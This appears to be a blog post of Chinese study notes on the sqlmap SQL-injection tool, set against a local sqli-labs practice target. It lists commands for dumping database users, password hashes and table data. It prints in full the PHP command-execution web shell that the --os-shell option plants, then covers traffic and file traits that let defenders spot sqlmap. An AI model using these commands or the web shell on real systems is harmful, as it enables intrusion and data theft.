SQLMAP知识点总结
SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。
实例
-u参数
sqlmap -u url --users :查看数据库所有用户
sqlmap -u url --passwords :查看数据库所有用户密码
sqlmap -u url :判断注入点
sqlmap -u url --current-db:查看当前所有数据库
sqlmap -u url --current-user :查看数据库当前的用户
sqlmap -u url --is-dba :判断当前用户是否有管理员权限
sqlmap -u url --roles :列出数据库所有管理员角色
sqlmap -u url -D 库名 --tables :爆表
sqlmap -u url -D 库名 -T 表明 --columns :爆字段
sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据
sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据
-r参数
先用男朋友巴巴苏特 抓包,复制抓到的该网站的HTTP Request报文,粘贴到a.txt(自己新建一个放桌面上也可以)文件里,从文本文件中获取http请求
sqlmap -r /user/a.txt //a.txt是自己本地的文件
爆当前数据库库名
爆指定数据库的表名
爆指定数据表的字段名
爆指定字段的值
-m参数
从文件中取出保存的url进行检测
sqlmap -m /user/b.txt //b.txt里包含多项url
更快捷,一下跑好多
sqlmap流量特征
没有伪装的话,会在User-Agent中会直接显示出来sqlmap的版本等等
代码的静态特征
如果是由sqlmap上传的上传马,可以很清晰地在代码上看出来这是sqlmap上传的后门,直接把上传的PHP什么的直接删掉就好了
另一种情况就是命令执行的小马,一般来说命令执行函数是不允许存在的,看到直接杀掉就好了
动态分析
-os-shell
原理
对数据库行为做限制,-os-shell主要还是为了执行into outfile()函数
原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下,然后利用这个php文件来上传一个用来执行系统命令的php文件(包含执行命令的代码)
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "</pre>".$w."</pre>";?>'''
上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
因此我们可以在os-shell中执行命令。
使用条件
(1)当前数据库用户必须是root权限
(2)攻击者需要知道网站的绝对路径(source_file_priv的值不能是null)
(3)GPC为off,php主动转义的功能关闭(可以使用单双引号)
传入马后的测试语句
看返回包
如果攻击者没有经过流量分析,我们可以抓个包看看回显有没有echo command execution test,有的话,就可以判定这是sqlmap的命令马了,杀掉就好了
看操作系统
再就是sqImap会判断当前的操作系统,而判断操作系统就会使用
@@version_compile_os函数
同样是抓包,查看GET请求,如果存在@@version_compile_os函数的请求,那就是sqlmap发出的,杀它
删除文件
一般被删除的命令马跟上传马在同级目录下,且文件名默认都以tmpxxx.php命名,溯源起来还是比较方便的
其实这里有点没理解,作为被删除的文件为什么在这里还会出现啊嘞
GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
Host: www.sqli.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
传数组爆绝对路径
数组的默认值为1
评论已关闭